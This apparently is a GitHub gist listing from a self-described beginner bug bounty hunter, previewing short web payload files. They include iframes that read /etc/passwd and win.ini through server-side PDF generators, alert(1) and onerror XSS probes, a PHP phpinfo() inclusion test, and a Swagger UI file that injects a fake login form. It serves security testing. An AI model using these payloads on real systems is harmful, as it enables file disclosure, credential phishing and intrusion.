ayadim ayadim

Developer background, for now, a bug bounty hunter Noob

ayadim / payload.json

Created July 23, 2026 11:50

	{
	"descripcionRespuestaCCB": "[TEST] If you see this, field mapping works!"
	}

ayadim / js-vulnerable-code.html

Last active May 9, 2026 17:37

	<!DOCTYPE html>
	<html lang="en">
	<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Vulnerable JS Demo - Security Research Only</title>
	<style>
	body { font-family: monospace; padding: 20px; background: #1a1a2e; color: #eee; }
	.vuln { border: 1px solid #e94560; padding: 15px; margin: 10px 0; background: #16213e; border-radius: 5px; }
	.vuln h3 { color: #e94560; margin-top: 0; }

ayadim / html-read-files.txt

Created May 9, 2026 17:34

	<html>
	<head>

	<title>read files using pdf generator</title>
	</head>
	<body>
	<p>There are some cases where server converts uploaded file to a pdf
	Try injecting <iframe>, <img>, <base> or <script> elements or CSS url() functions pointing to internal services.</p>
	<iframe src=”file:///etc/passwd” width=”400" height=”400">
	<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">

ayadim / test.js

Created May 9, 2026 17:32

alert(1);

ayadim / rfi.txt

Created February 10, 2026 13:34

<?php phpinfo(); ?>

ayadim / js-alert.json

Created November 29, 2025 21:57

{"code": "alert(1)"}

ayadim / swagger-test1.json

Last active April 4, 2025 08:59

	{
	"url": "https://gist.githubusercontent.com/ayadim/901ddaa01679a29760f33277b3182782/raw/3b93144e5852088f909eae1b1b7d5a2839a5cf4b/swagger-test1.yaml",
	"urls": [
	{
	"url": "https://gist.githubusercontent.com/ayadim/901ddaa01679a29760f33277b3182782/raw/3b93144e5852088f909eae1b1b7d5a2839a5cf4b/swagger-test1.yaml",
	"name": "Test"
	}
	]
	}

ayadim / swagger-test1.yaml

Last active April 4, 2025 08:57

	swagger: '2.0'
	info:
	version: 1.0.0
	title: Fake Login Page
	description: '<div class="login-form">
	<div class="heading">
	<h1>HTML Injection : Fake Login</h1>
	<img src=x onerror="print()">
	</div>
	<div class="form-container">

ayadim / Testing_Checklist.md

Created September 6, 2024 18:25 — forked from jhaddix/Testing_Checklist.md

Fast Simple Appsec Testing Checklist

Fast Testing Checklist

A combination of my own methodology and the Web Application Hacker's Handbook Task checklist, as a Github-Flavored Markdown file

ayadim / content_discovery_all.txt

Created September 6, 2024 18:24 — forked from jhaddix/content_discovery_all.txt

a masterlist of content discovery URLs and files (used most commonly with gobuster)

This file has been truncated, but you can view the full file.